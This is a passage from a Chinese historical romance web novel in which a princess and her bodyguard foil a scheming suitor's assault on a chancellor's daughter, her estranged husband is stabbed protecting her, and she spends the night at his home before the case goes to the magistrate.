萧婧华蹙眉望方代一眼,拉着纪初晴进了灵翠阁。 这方代也不知吃错了什么药,唇角扬起笑,掏钱掏得很是爽快。 临近日落,纪初晴准备回府,“今日多谢你,这个人情我欠下了。” 萧婧华觑着一旁的方代,“你和他一起回去?” 纪初晴淡淡点头,“就一段路而已,回府我就回后院,他在我爹娘面前不敢放肆。” 因着方代是孙半夏的夫家表哥,且他在纪丞相面前不敢放肆,因此二人虽对他并不满意,但也当寻常亲戚看待。 她这般说,萧婧华便不再多言,“好。” 目送纪初晴登上马车,方代朝萧婧华挥了挥手,悠悠跟在马车后。 箬兰在一侧道:“郡主,我们也回吧。” 萧婧华还是不太放心。方代那个眼神,令她想起了某些不愉快的事,闭了闭酸涩的眼,她道:“算了,跟上去看看。” 予安驾着马车追上去。 行人归家,街上人影稀少,没走多久,便见到丞相府的马车停在路旁。 不见方代身影。 萧婧华暗道不妙,催促予安,“快去看看。” 予安足下用力一蹬跃至相府马车车辕,看了眼昏迷不醒的马夫,猛地推开车门。 “郡主,没人。” “快去找。”萧婧华急声。 箬兰慌了,“奴婢也去。” 正要下去,忽然一声尖叫响起,接着声音便落下了。 予安眼尾一动,身形敏捷似燕,迅捷往某个方向掠去。 打斗声传来,萧婧华拉住害怕又好奇的箬兰,摇摇头道:“别去。” 箬兰“嗯嗯”两声,不动了。 片刻后,予安的身影出现在巷口。 方代被她拎着拖出来。 头上大红牡丹不知掉去了哪儿,鼻青脸肿的,脸上痕迹看得出是下了死手。 “咦,予安手里那人是谁?”箬兰疑惑出声。 随着予安走近,萧婧华这才发现她另一只手还抱了一人,墨发将整张脸挡住,看不清模样,从虚软无力的手看应是陷入了昏迷。 绿衫侍女搀扶着纪初晴跟在最后头。 萧婧华连忙下车,快速端详她一眼。 衣衫略有凌乱,发髻松散,但精神劲还不错,眼里似装了刀子,锋锐眼风一个劲往方代身上扎。 “没事吧?” “你来的及时,我没出什么事。” 纪初晴摇头,深吸口气,“我要回府禀报我爹,不把此人投入天牢,我出不了这气!” “那这是……” 萧婧华指着予安手上另一名男子。 纪初晴道:“他方才想救我。” 萧婧华懂了,英雄救美不成,反倒把自己搭进去了。 “郡主,此人怎么办?” 予安重重扔下方代。 灰尘散开,萧婧华蹙眉撇脸,扬起袖子遮挡,嫌弃道:“送到京兆府去吧。” 予安:“好。” 纪初晴忙道:“不知我家马夫如何了?” 萧婧华看向予安。 后者道:“方才没细看,但尚有呼吸,应当没什么大碍。” 她放下手里的男人走向马车。 车夫倒在车辕上,双眼紧闭,不省人事。 予安伸手检查一番,忽听身后惊呼声骤起。 她猛地回头,只见躺在地上的方代不知何时醒来,撒腿就跑,转眼就没了影子。 予安没追,跳下车辕行至萧婧华身旁。 “车夫是被打晕的,睡一觉就好。” 纪初晴松了口气,“没事便好。方代做下这般龌。龊之事,定不敢再回相府,我现在就回去,让我爹捉拿他。” 她显然气极,眸里染着烈烈怒火。 萧婧华瞥了眼地上的男人,对予安道:“你送纪姑娘回去。” 予安不动,“郡主,属下的职责是保护您。” “纪姑娘带着马夫和这男子回不去,万一方代半路折回来怎么办?” 萧婧华道:“去吧,你快去快回,我就在此处等候。” 予安蹙着眉头,无奈妥协,“那郡主不可乱走。” 萧婧华点头。 纪初晴郑重道谢,“今日当真是要多谢你了。” 萧婧华摆摆手,不欲与她多说,“快回吧。” 予安二话不说,拎起男子上了马车,将马夫踢向一旁。等纪初晴主仆也上去,她甩着马鞭,“驾”一声,马车疾速冲了出去。 马车眨眼就没影了,箬兰抱怨,“早知道就让觅真也跟着出门了。” “觅真走了,箬竹怎么办?” 前几日恭亲王得了个庄子,因主家犯事,庄子上的奴仆颇有些刁恶,他原想让汤正德去处理,正好被去请安的萧婧华撞上。见那庄子有温泉,萧婧华来了兴,便讨要了来。 今日箬竹替她去巡视,怕她压不住,萧婧华不仅让她带了一队护卫,还让觅真也跟去了。 “好了,我们在这儿等着就是了。” 萧婧华走向马车。 进了车厢,她从暗格里取了本书,刚翻开一页,余光忽地瞥见角落里的纸鸢。 一直被她忽略的事终于涌上心头。 萧婧华问:“箬兰,我们今日出门,原打算做什么来着?” 箬兰不假思索道:“放纸鸢啊。” 此话一出,她心里咯噔一下,不由看向萧婧华。 主仆两人面面相觑半晌,不约而同看向窗外。 夕阳西下,已是黄昏。 萧婧华咳一声,“这个时候,阿旸他们应该都已经回府了吧?” 箬兰赞同点头,“说不准旸少爷已经将云六姑娘送回去了。” 话落,主仆二人纷纷缄默。 “算了。” 萧婧华扔下书,扶额道:“还是去看一眼吧。” 箬兰默默道:“可是郡主,咱们不会驾车啊。” 萧婧华:“……走着去。” 箬兰“哦”声,先行下车,反身牵了萧婧华下来。 两人往护城河的方向走了一小段。 “罢了。” 萧婧华驻足,望着几乎看不见尽头的长街,当即放弃,“这么远,咱们俩就算是走到天黑也到不了,明日去和阿旸说一声赔个礼吧。” 箬兰点头。 主仆俩灰溜溜转身。 “郡主。” 身后男声猝不及防落下。 萧婧华回头。 陆埕站在五丈远的柏树下。枝叶葱绿,他着一袭月白色长衫,发上未簪玉饰,而是配着同色的发带。 风过树梢,他迎风而立,发带飘扬,似要乘风而去。 玉似的长指拿着一只纸鸢,那纸鸢配色极为鲜艳,双翅绘有牡丹,风过时纸鸢轻晃,那牡丹似活了过来,层层绽放。 萧婧华意外,“你怎么在这儿?” 她往前一步。 陆埕薄唇微张,话未出口,瞳孔一颤,清冷眉眼刹那破碎。 他丢下纸鸢,风一样跑向萧婧华。 “小心!” “什么?” 萧婧华蹙眉不解。 后颈处倏然发凉,地面落下阴影。 她猛地转身。 身后悄无声息站了一人。 见她忽然回头,方代明显有些慌乱,双手滞在空中。 箬兰急急张开双臂,将萧婧华护在身后,“你想做什么?” 她警惕地盯着方代,威胁道:“我警告你,纪大人马上便会来抓捕你这罪犯,你最好给我安分些,说不定还能少受些牢狱之灾。” 一听这话,方代眼里的犹豫瞬间湮灭,凶恶的目光射向萧婧华。 他这次上京就是奔着丞相女婿的身份来的,可这小娘皮硬生生将事给他毁了! 若非她故意坑他两千两银子,他至于不甘心到想讨些好处,冲动之下对纪初晴下手吗? 若是成了也罢,说不准能拿纪初晴的清白逼迫纪丞相将嫡女下嫁于他。 谁知半路杀出来一个文弱书生! 那书生纸人一个,根本受不了他两拳。关键是这小娘皮的奴才!竟然将他打成这般模样,硬是坏了他的好事! 方代知道,纪初晴回府后定会向纪丞相告他一状。京城他是待不下去了,趁人没反应过来,走才是上策。 可半路上,他越想越不甘心。 就这么灰头土脸地回了甘州,他岂不是要被笑话一辈子? 离开之时,他可是信誓旦旦地发过誓,此次上京,定会抱得相府美人归。 脑海里不断出现萧婧华那张漂亮到不可一世的脸。 若没有她,他此刻说不准已是纪丞相的乘龙快婿! 在不甘的驱使下,方代又折了回来。 他本想给萧婧华一些教训,却无意间听见她和婢女谈话。 郡主,她竟然是个郡主。 无论是皇亲国戚还是勋贵之家的虚名封号,高低都是个郡主。 比起纪初晴这个相府千金,娶她回去,岂不是更有面? 在虚荣心的驱使下,方代悄悄跟上了萧婧华主仆。 他身上剩下不少迷药,两个手无缚鸡之力的小姑娘而已,能奈他何? 可箬兰此刻的话却将他激怒。 方代一巴掌朝箬兰扇了过去。 “小贱。人,你说是老子先入狱,还是你先死?” 箬兰被这一巴掌扇得摔倒在地,雪白侧脸立即肿起,膝盖撞在粗糙石阶上,疼得她半晌起不了身。 萧婧华压下对她的担心,目光冷冽,脚下后退。 方代伸手抓她,“给老子过来!” “别碰她!” 喝声乍响,方代被一拳打在侧脸。 本就红肿的脸传来一阵剧痛,他怒喝,“谁他娘敢打老子!” 陆埕抓住萧婧华的肩,将她护在身后。 两人举止有种说不出的亲密,方代咧起嘴,“你谁啊,该不会是这女人的姘头吧?” 萧婧华忍无可忍,“你……” 陆埕握住她的手收紧,侧着脸对她摇头。“此人冲动易怒,应是横行霸道惯了,别激怒他。” 萧婧华咬唇。 陆埕冷冷睨着方代,“我是她的丈夫。” “管你是谁,给老子滚!” 方代听不进话,冲上去和他扭打。 “郡主。” 女声微弱,含着痛楚,萧婧华连忙将箬兰扶起,轻轻触碰她肿起来的侧脸,“疼吗?” 箬兰含泪摇头,“不疼。” 萧婧华咬牙,扭头瞪着方代。 方代看着壮硕,但实际是个外强中干的纸老虎,陆埕这阵子并未疏于锻炼,没费多少功夫便反剪住他双手,将他制服。 方代不服气,疯狂挣扎,嘴里吐出一连串的怒骂。 马蹄声靠近,予安骑着马往这边而来。 萧婧华松了口气,放开箬兰走向陆埕,“把他交给予安,送去京兆府。” 陆埕蹙眉望她,手下一松,“你可有……” 话音未落,底下挣扎的方代猛地挣脱开,不知从何处抽出一把匕首,奋力扎下。 萧婧华瞪大眼,失声道:“陆埕!” 第82章 (修) “呲——” 利器刺入皮肉的声音。 雪亮匕首刺入陆埕的腿,他单膝跪地,面露痛楚。 匕首拔出时带出一连串的血珠,沿着刀身淌下,汇聚在地。他急声道:“快躲开!” 萧婧华往后退一步,“予安!” 予安远远瞧见这边出了事,直接踩着马镫跃起,足下在马背上用力一蹬,借力飞跃而来。 身影似鹰,目光如电,冷冷看着方代。 方代见了她,只觉脸上隐隐作痛,脑子轰然一声,猛然意识到自己做了什么,哆哆嗦嗦扔下带血的匕首,撒腿就跑。 “别让他跑了!” “是。”予安应声,稳稳落地。 转身看着面带惊恐的方代,她并未出剑,长腿一踢,在方代格挡时立掌为刀,劈在他脖颈上。 方代尖叫一声,捂着脖子喊疼。 予安一脚直接将他踹得双膝跪地,反剪双手,稳稳将他制住。 萧婧华喊:“箬兰。” “郡主,奴婢在。” 箬兰眼泪汪汪地捂着脸上前。 “他方才怎么打的你,现在给本郡主打回去。”萧婧华声线冷冽。 箬兰愣了瞬息,眼里瞬间有笑蔓延,点头点得极为爽快。她走到方代面前,搓了搓手,目光陡然一厉,狠狠甩了他一个巴掌。 “嗷!” 方代脸上本就有伤,这一巴掌痛得他嚎叫出声,听得箬兰毫不犹豫又甩了他一巴掌。 萧婧华俯身拾起地上匕首,走至方代面前蹲下,用刀尖挑起他的下巴。 “你可知,我是谁?” 方代哀声痛呼。 萧婧华扬起唇,“我姓萧,萧氏皇族的萧,封号琅华。伤了我的人,你想怎么死?” 方代瞳孔一缩,颤声道:“琅、琅华郡主?” “是啊。”萧婧华随意点头,“你听过我的名号?” 怎么可能没听过? 整个大盛,除了宫里的公主,还有比琅华郡主更尊贵风光的姑娘?他竟然、竟然想打她的主意。 方代此人在甘州横行霸道已久,凡是看上的姑娘从未失手,内心极度自负。 他名声不好,甘州姑娘不愿嫁他,因此听说那远房表哥的妻子乃是当朝丞相的侄女,又听闻相府嫡女正在议亲,便心存妄想,一门心思想做相府女婿。 上京后纪丞相夫妇对他很是礼遇,方代的虚荣心得到了极大的满足,自以为天命不凡。 可直到此时他才感到害怕,结结巴巴求饶,“郡主饶命,饶命啊,我并未想对郡主做什么,是他,是他!” 方代一个劲看向陆埕,身躯挣扎前倾,“是他平白无故将我打了一拳我才反击的,天地可鉴,我对郡主尊敬有加,绝不可能有逾距之举!” 萧婧华歪头,睫羽如蝶翼翩跹。余晖斜照,明艳精致五官多了几分温柔之意。 “哦?”尾音上扬,惊讶疑惑。萧婧华笑,“我还什么都没问,你就不打自招了。” 刀尖拍着方代的下巴,她柔声道:“放心,本郡主心地还是挺好的,不会轻易杀人。” 刀锋贴着皮肉,方代胆战心惊地垂头,眼睛一眨不眨地看着匕首,生怕它下一瞬就会割破自己的喉咙。 听了萧婧华的话,他提起的心稍稍放下,赔笑道:“郡主心善,定不……啊!” 方代惨叫出声,青青紫紫的脸上竟能看出一丝惨白之意。 拔出刺入小腿的匕首,萧婧华面不改色地看着上头的血迹,嫌弃地将它丢开。 缓缓站起,她居高临下道:“本郡主只会以牙还牙。” “予安,把他送去京兆府。” 萧婧华道:“在京城里他都能胆大到对丞相府的姑娘行不轨之事,以前不知还做过什么龌龊事。让官府的人好好查,决不能姑息。” 予安:“是。” 她揪住方代衣领,不管他的大声嚎叫,拖着他大步流星往京兆府的方向而去。 交代完,萧婧华走到陆埕面前,微抿着唇,问:“还好吗?” 陆埕捂着腿上的伤,面色微白。他轻轻摇头,“无事。血多,你别看。” 萧婧华往下瞟了一眼。 鲜血源源不断地从他白皙指缝里渗出,似雪染梅花。 她问箬兰,“这附近有医馆吗?” 箬兰想了想,“不远处好像有一个。” 陆埕撑着膝盖站起。 脚下没站稳,他略有趔趄,身形一晃。 萧婧华伸手将他扶住。离得近,鼻尖尽是他身上的清新之气。 她屏住呼吸,一度恼怒。 早知道就不嫌侍卫们碍眼,只带着予安和箬兰便出门了。谁成想不过放个纸鸢也能徒生事端,眼下竟无人可用。 陆埕再怎么说也是个成年男子,萧婧华力气不大,很是费劲。 好在他很快就稳住身形。 箬兰快步上前,“陆大人,奴婢扶您。” 她刚伸手,陆埕便白着脸避开,低声道:“我自己可以。” 箬兰看看空着的手,又看了眼陆埕,朝他翻个白眼走到萧婧华另一侧。 不想让她扶,她还不稀罕呢。 那刀扎得深,陆埕一瘸一拐地走了两步,鲜血不断从伤口处渗出,将月白色衣衫染红,在石板上留下一道长长血迹。 萧婧华蓦地停下,“算了。箬兰,你走快些,去医馆叫人。” “好。” 箬兰小跑着,很快消失在街尾。 “歇歇吧。”萧婧华平淡道。 陆埕席地而坐,拎起一片衣角,将外衫翻了个面垫在一旁,对她道:“坐吧,干净的。” 萧婧华眸光微颤。 他撕下一片里衣,掀起袍角,将里衣缓慢缠在伤口上。长布雪白,在萧婧华的注视下透出红色。 从她这个角度,能看见陆埕两道长眉下鸦羽般的卷翘长睫,轻轻一动,睫羽如鸟翼扑扇。 他有双很漂亮的凤眼,形状细长,眼尾微微上翘,分明是双亲和温柔的眼睛,眸里的光却时常透着清冷之意,硬生生给人不近人情的错觉。 他垂着头,认真动作,双唇因感到痛楚微微抿着。 萧婧华挪开目光,缓步挪动,坐在陆埕外衫上。 他速度加快,三两下将伤口缠好,随后面色惨白地坐着缓解痛意,半晌方迟疑道:“方才那究竟是何人?” 萧婧华抱着双膝,淡声道:“纪初晴表妹的夫家表哥,一个想吃天鹅肉的癞。**。” 事关姑娘家的清誉,她并未多说,视线落在不远处躺在石板上的纸鸢上。 “那只纸鸢……” 陆埕道:“我想着你也喜欢放,为你准备的。” 萧婧华瞬间警觉,“那你为何会在此?” 她猛地偏头,瞪着陆埕,“你骗我?今日阿旸当真与云六姑娘有约,还是只是你的借口?” 陆埕慌声解释,“真的,并非借口。阿旸已经送云六姑娘回府了。我只是想着你一个人难免孤独。”他顿了顿,垂下长睫,“想与你一起。” 萧婧华不吭声了。 她沉默下来,陆埕腿上阵阵发疼,忍痛绞尽脑汁想着话题,“府里……” “郡主!” 箬兰的嗓音远远传来,萧婧华心头一凛,慌忙起身,理着裙子上的褶皱。 等箬兰带着人赶到,正见她高贵优雅地站在原地。 “郡主,人来了。” 箬兰让出身后背着药箱的年轻大夫。 那大夫瞧见坐在地面的陆埕,连忙蹲下,打开药箱,从中取出金疮药,动作熟稔地为他处理伤势。 箬兰邀功似的凑上来,“奴婢还让人去雇了个车夫,待会儿就能送咱们回府。” 予安也不知何时才能回来,与其在这儿等,不如她们自己回去。 萧婧华赞道:“做的不错。” 凝着箬兰发肿的脸,她问:“你没让大夫替你抹药?” 箬兰摸了摸脸,仍有些痛。她“嘶”一声,“留郡主一人在这儿,奴婢不放心。” 惊慌之下能想到雇车夫已经很不错了,哪儿能到别的。 “今日。你受苦了。回去想要什么赏赐?” 说到赏赐,箬兰的眼睛蹭一下就亮了,嘿嘿笑道:“郡主给什么奴婢要什么。” 萧婧华哼笑,“瞧你那点出息。” 那大夫虽然年轻,但动作极为迅速,几下便给陆埕上好了药。 萧婧华指着箬兰,“给她也上上药。” 年轻大夫看了箬兰一眼,从药箱里取出瓷瓶,拔掉塞子,指尖勾起一点绿色药膏轻轻抹在箬兰脸上。 箬兰哎哟两声喊疼。 付了药钱,年轻大夫将瓷瓶交给箬兰,留下了金疮药,取出纸笔,垫在药箱上写了张药方,声线微冷,“内服外用,每日两次,伤口莫要沾水。你的伤有些深,尽量别动,少劳累,多歇息。” 陆埕道谢,“多谢大夫。” 年轻大夫点头,接了箬兰递来的药钱,背着药箱离开。 雇来的车夫早就到了,正候在一旁听命。 萧婧华看了陆埕一眼。 后者微微提唇,温声道:“回去吧,我一人能行。” 见他脸色发白,萧婧华蹙起眉。 眼看天都黑了,此处离陆府远得很,他又有伤在身,怎么回去? 总归那刀是为她受的,若是将他一人扔在这儿,萧婧华的良心实在过不去。 萧婧华没理他,对车夫道:“把他扶上马车。” 陆埕微顿,眸里显出笑意。 “好嘞。” 车夫是个壮实的年轻人,架起陆埕送上马车,等萧婧华主仆也上去后,他跳上车辕,高高甩起马鞭。 他驾车的技术还不错,小半个时辰后,马车停在陆府门前。 车夫将陆埕扶下来,箬兰上去敲门。 刚走一步,陆埕将人叫住,“钥匙。” 箬兰拿着钥匙开了门。 里头黑灯瞎火的,不见灯影,也不见人气,萧婧华拧着眉头,“娘他们呢?” 陆埕张唇。 “大人!” 孟年的声音从后边传出,几息间人就出现在陆埕面前,着急询问:“你上哪儿去了?我找了你一个时辰。” 手中提灯晃动,在灯火映照下,孟年瞧见陆埕腿上的伤,震惊失声,“这是怎么伤的?” 陆埕轻轻摇头。 “有话进去再说,他不能久立。” 清泠泠的女声落下,孟年这才注意到萧婧华也在,忙道:“好。” 把提灯交到萧婧华手里,孟年上前扶住陆埕,“箬兰,劳你进去点灯,我怕摔着大人。” 又对萧婧华赔笑,“劳烦郡主提下灯。” 萧婧华看他一眼,转身往里走。 箬兰忙跃过她走在前头,进屋里点灯。 见两人都进了门,陆埕悄声与孟年耳语。 孟年眼尾一挑,侧看他一眼,嘿笑两声,松开陆埕走到车夫面前,掏出小块碎银放在他手中,低声道:“这位小哥,劳你去趟恭亲王府,就说郡主今夜歇在陆府,让王爷放心。” 车夫收下碎银,爽快应下,“行,包在我身上。” “人呢?怎么还不跟上来?” 里头传出萧婧华的声音,昏黄的灯上下晃动。 孟年快步折返,扬声道:“来了。” 他小心扶着陆埕,往前面暖光走去。 箬兰先一步进去,借着月光和灯光找到火折子将灯点上。 孟年直接扶着陆埕进了萧婧华住过的那间屋子。 院里渐渐亮起灯,凄冷无声,没有丝毫人气。萧婧华在檐下转了一圈,进到里屋问坐在床边的陆埕,“娘和阿旸他们呢?” 陆埕看了孟年一眼。 后者心领会神,当即转身出去,顺道将正要跨进来的箬兰也给带走了。 “诶,你带我去哪儿?” 箬兰抗议。 孟年拉着她,“咱们俩什么交情,我还能害你不成?天都黑了,你们吃饭了没?赶紧去给郡主和大人拿些吃的。” 箬兰这才想起来这事,“好……都说了别拽我!” 两人打闹的声音逐渐远去,萧婧华走至烛台前,用剪子剪去烛心。 灯光骤然明亮,她在桌前落座,给自己倒了杯水。拿着杯子慢慢喝着,“你还没回答我的问题。” 陆埕抬睫。 少女刚喝过水,饱满唇瓣上沾了水渍,似海棠上落下的几滴春露,添了几许娇艳。 他轻声道:“我将附近两座宅子买下来了。院墙打通后,娘他们去了前院。” “什么?”萧婧华动作顿住,“你哪儿来的钱?” 这附近的地段虽算不上最好,但宅子也不便宜,一口气买两座,少说也得上万两。陆埕一个文官,哪来的这么多钱? 对上萧婧华怀疑的目光,陆埕下意识道:“我没贪。” 萧婧华:“……” 目光在空中交汇,陆埕清楚看见她眸中几乎要溢出的无语,蓦地轻声而笑。 这一笑,似熹微拂开暗夜,光华映照眉眼,熠熠动人。 他道:“这些年存了不少,又向娘借了一些,拼拼凑凑将银子凑齐了。” 不止如此,他手艺不错,空闲时还接了不少玉雕的活计。 陆埕看着萧婧华,“不是说院子不够大吗?往后娘他们在前院,整个后院都是你的。” 和恭亲王府不能比,但这是他现在能给她的最好的。 往后,还能更好。 萧婧华唇瓣张阖几次,喉头似被哽住,想说什么,最终还是咽了下去。 她霍地起身背对着陆埕。 窈窕身影在地上投射出长影。 陆埕长睫轻颤,缓缓伸手,指尖一点点,在空中触碰着影子发顶。 眉间渐柔,仿佛透过影子,轻触着她发梢。 在萧婧华动作之前,他飞快收手,抢先开口,“今夜太晚了,先留下吧,等孟年回来,让他扶我去书房。” 萧婧华放在桌上的手收紧,语气平淡,听不出异常,“你这宅邸这么大,连间寝室都收拾不出来?” 陆埕连忙道:“我喜欢住书房。” 那书房里就只有一张榻,这有什么好喜欢的? 萧婧华垂着眼,“夜不归宿,父王会担心。” “我让孟年去知会一声,定不让王爷忧心。” 萧婧华没应声。 屋里静到闻针可落,沉默间,外头忽然闹了起来。 灯影人影晃动,陆夫人走在最前头,大步跨过门槛,“终于舍得回来了?陆埕,你都多大的人了,怎么还……” 话音陡然断裂,陆夫人惊喜地看着萧婧华,“婧华回来了?” 萧婧华扬笑,“娘。” “诶。”陆夫人快步上前拉起她的手,喜道:“回来就好,回来就好。晚膳可吃了?” 见萧婧华摇头,陆夫人连忙转头喊道:“殷姑,把馒头放下,去厨房把饭菜端来。” 殷姑远远应了一声。 这时,孟年拉着箬兰小跑过来。 陆夫人瞪向孟年,“你这孩子,婧华回来了怎么都不跟我说一声?” 孟年委屈,“您没看见箬兰吗?” 分明是她听见他说大人回来了,风风火火地就让殷姑端了盘大白馒头过来,连碗粥都没有。 箬兰尴尬,“夫人。” 陆夫人理直气壮,“上了年纪的妇人眼神不好,这不能怪我。箬兰啊,这、这是……怎么回事?” 语调一转,陆夫人震惊地看着箬兰红肿的脸,“谁打你了?” “娘。” 陆埕道:“先让她们吃饭吧。” 陆夫人皱眉转过视线,这一眼,更是惊讶,“你腿怎么了?又伤了?” 见陆埕精神劲还不错,想来也没什么大碍,陆夫人放下了心,不由嫌弃,“你怎么老是受伤。” 萧婧华有些尴尬,轻轻扯了扯陆夫人的衣袖,“他是为了救我。” 陆夫人脸上瞬间露了笑,夸赞道:“不错,这伤受得值。” 陆埕:“……” 殷姑将饭菜送来,摆上后带着孟年和箬兰离开。 陆夫人早就吃过了,坐在一旁给两人夹菜。 听萧婧华说完今日的来龙去脉,她气得不行,“这种人就该给个教训。” 萧婧华边吃边安慰,“娘放心,会的。” 直到两人吃完,陆夫人收走碗筷,仍是一脸的义愤填膺。 她走后不久,箬兰便和殷姑回来了。 后者领着个粗使婆子,抬了桶热水进来。 临走前,殷姑温声道:“郡主好生歇着。” 萧婧华笑,“好。” 几人走后,孟年这才从门框处探出脑袋。 陆埕唤他,“扶我去书房。” 孟年:“啊?” “你啊什么啊。”箬兰推他一把,“赶紧的,快去。” 孟年迅速又嫌弃地瞥了陆埕一眼。 真怂。 他走进屋。 撑着孟年的手腕站起,陆埕对萧婧华道:“我先走了,你好好休息。” 萧婧华随意点头。 两人走后,她打开柜子,从里头挑了身雪白寝衣。 她的衣物多,成亲时留了不少在陆府,此时正好派上用场。 将身子浸入浴桶,萧婧华仰头闭眼,放空自己。 水藻般的黑发浮在水面上,水珠顺着雪白侧颈滑落,啪嗒掉在影绰水下。 一双藕臂搭在浴桶边缘,她似月下海妖,一呼一吸间摄心夺魄。 萧婧华蹙眉,水下长发随之飘荡,乌发雪肤汇成极致对比。 今日的方代可把她恶心坏了。 倘若她和离,往后说不准还会遇到跟他一样的男人。 或是自命不凡,或是想借着她往上爬,就算她不会再嫁,时不时有两只苍蝇跳出来也着实心烦。 这样看,陆埕还是不错的。 不会约束她,她想回王府回王府,想住多久也不会管。 可她。 始终意难平。 收回双臂,萧婧华慢慢沉入水中。 水从四面八方涌入,将她包裹。温暖舒适,似幼时母妃的怀抱。 水温渐凉,箬兰在外头催促,“郡主可洗好了?当心着凉。” “哗啦”一声,萧婧华破水而出。 “好了。” 她迈出浴桶,拿了帕子擦拭身子,随后换上寝衣,走出净室。 箬兰见她携了一身水汽出来,连忙拿着帕子迎上去。 萧婧华在窗边坐下,打开窗,仍由夜风吹拂双颊。 箬兰站在她身后,动作轻柔地为她擦拭湿法。 她头发又长又多,箬兰用了好几张帕子才勉强擦干。 夜深了。 萧婧华关了窗,“去歇着吧,灯不用灭,待会我自己来。” “好。” 箬兰:“那郡主早些歇息。” 走到门口,忽然听到里头女声。 “我的嫁妆里好似有张紫檀木软榻。” 箬兰回身,回忆片刻后道:“是有一张,郡主问它作甚?” 萧婧华站在灯下,长发倾泻,眼睑垂着。 她拿着剪子拨动灯芯,缓缓道:“让人搬到屋里来,这屋子里空荡荡的,我瞧着不顺心。” “那行,奴婢明日就让人搬。” 萧婧华点头,“去吧。” 箬兰将门关上。 走出几步,她猛然反应过来。 不对啊,郡主让人搬软榻,这是要在陆府长住的意思? 挠挠头,箬兰不解离去。 屋里。 萧婧华端着灯盏,睃巡着整间屋子。 摆设和她一个多月前离开时一模一样,并未有人动过。 吹了灯,萧婧华走到床边躺下。 暖和锦被盖住微凉身躯,她闭上眼酝酿睡意。 屋里并未熏香,可昏昏沉沉间,总觉得鼻尖好似有股浅淡香味萦绕。 干净冷冽。 似陆埕的气息。 第83章 萧婧华睁眼时已是日上三竿。 她并未起身,而是靠坐在床上发怔。 许久未曾睡得这么好,她竟一时有些不适应。 喉间发干,萧婧华拿起放在床头的水壶,给自己倒了杯水。 冰冷水流顺着喉咙滚落,凉意瞬间袭遍全身,她彻底清醒。 趿着鞋子下床,她用指尖梳理了两下长发。正要唤人,门已被人从外推开。 箬竹笑着进来,“郡主醒了?” 一招手,几名侍女鱼贯而入。 箬竹拿起帕子,用温水浸湿后走到萧婧华面前。 萧婧华展开半湿的帕子盖在脸上。 擦洗后,她将帕子扔进铜盆,问道:“你们什么时候来的?” “念着郡主无人伺候,一大早便来了。” “若是早知会出事,昨日就让觅真跟着郡主了。还好郡主无事。” 萧婧华随口道:“你又不能未卜先知。” 箬竹微叹一声,打开箱子。 萧婧华选了身鹅黄色的襦裙。 由着箬竹为她梳妆,箬兰风风火火地送来早膳。 萧婧华从镜子里看她。脸上红肿消了不少,精神劲还不错,像是没被昨日的事影响。 “药可抹了?” 箬兰弯着眼笑,“抹了抹了,已经不痛了。” 萧婧华放了下心。 用完早膳,她跨出房门。 昨夜陆埕说附近的院墙已经被打通了,她想去看看。 走到院里,隔壁书房飘来阵阵药味,光是闻着便觉苦涩。 萧婧华问:“他在?” 这个“他”是谁不言而喻。 箬竹点头,忍俊不禁,“孟年去替陆大人告了假,回来时抱了一堆公文。说是尚书大人听闻他只是伤了腿,让他在府里办公。” 萧婧华偏头看着关闭的书房。 似是听见外间说话声,书房里有轻微响动。 她撇开眼。 予安从树上跳下,满树桃花不堪其重,飒飒飘落。 她拂落肩上花瓣,“郡主,唐大人请您去一趟。” “是因为昨日的事?” 予安:“是。” “行。”萧婧华应了,“我现在去。” 这话方落,书房里霎时安静。 萧婧华瞥了一眼,“家里事多,箬竹,你跟箬兰留下。予安觅真随我一道。” 箬竹:“是。” 觅真翻下屋檐,提前去备马车。 予安面色漠然,腰间佩剑,紧跟着萧婧华。 到了京兆府,萧婧华刚下马车,便有人迎了上来。 纪初晴搭上她手腕,“没事吧?” 她愤懑道:“今日来,我才知方代昨日竟然尾随你,倘若你有个好歹,我当真不知如何是好。” “这不是没事么?” 萧婧华安抚拍她手。 有衙役从里走出,恭敬道:“郡主,纪姑娘,大人有请。” 萧婧华颔首,与纪初晴一道进入内。 上首坐了一名男子,三十来岁的年纪,身着从三品红色官服,面容白净,神色却很是威严。 “郡主。” 见了萧婧华,他起身作揖。 “唐大人。” 堂内还坐着一对夫妇,那妇人垂首落泪,男子原本正在安抚,听了声儿侧首望来,不由起身,“郡主。” 萧婧华飞快瞟一眼身侧的纪初晴,颔首致意,“纪相也来了。” 纪丞相苦笑着摇头,“女儿都被欺负到了这般地步,臣再不出面,简直枉为人父。” 他叹道:“夫人自觉亏欠娘家,将娘家侄女视为亲女,谁知她竟想将表姐许给这般泼皮,实在令人心寒啊。” 纪夫人啜泣道:“或许、或许夏儿那丫头并不知她表哥性子,老爷,咱们还是先去信问问吧。” 纪初晴面色淡淡,“不管娘怎么想,我一定要让那败类付出代价。” “晴儿!”纪夫人泪眼婆娑地看着女儿,不可置信道:“你若这般,往后让你表妹如何在夫家自处?” 纪初晴不屑,“她如何自处,与我何干?” “你!”纪夫人捂着胸口,“你怎么变成了这样?那可是你表妹!” 纪初晴撇开脸。 纪夫人缓了缓,擦掉眼泪,拉住纪初晴的手,语重心长道:“晴儿,听娘一句话。你表妹远嫁他乡,身边没个依靠,你既无事,不如就放了他,得饶人处且饶人。” 纪初晴甩开纪夫人的手,脸色越发冷淡,“凭什么要拿我的清白给她做人情?我绝不。” “你!”纪夫人气到说不出话。 “够了!”纪丞相喝道:“你的女儿姓纪,不姓孙!” 纪夫人吓一跳,还欲开口。 萧婧华抱着手,声线微冷,“纪夫人,您好像忘了一件事。” 纪夫人眉头微蹙,不解道:“郡主何意?” “您那位宝贝侄女的表哥,不仅对纪姑娘不轨,甚至想对本郡主下手。哦,对了。” 萧婧华补充道:“他还伤了本郡主的夫婿,礼部的陆侍郎。” 往下指了指小腿,她道:“在他腿上扎了一刀,今日我夫君连礼部都没去,正在家休养。” 萧婧华牵着唇,清透琥珀色瞳孔里泛着冷色,“那位方公子有没有牢狱之灾,您说了不算。” 纪夫人脸色刷的一下白了,嘴唇抖动,却说不出祈求的话来。 琅华郡主何等身份,受了委屈,定是不会让罪魁祸首好受的。 纪丞相上前将纪夫人扯到身后,警告道:“行了,别再闹了。” 纪夫人委屈抹泪。 闹闹闹,她何时闹了?! 把方代关进牢里,晴儿是好受了,可夏儿怎么办?也不知得受多少白眼。 一想到这儿,纪夫人便忍不住心疼。 萧婧华没再管她,对唐易道:“唐大人唤我来,可是想询问昨日经过?” 唐易:“正是。” 他伸手做出请的姿势,“郡主请坐。” 萧婧华缓步落座。 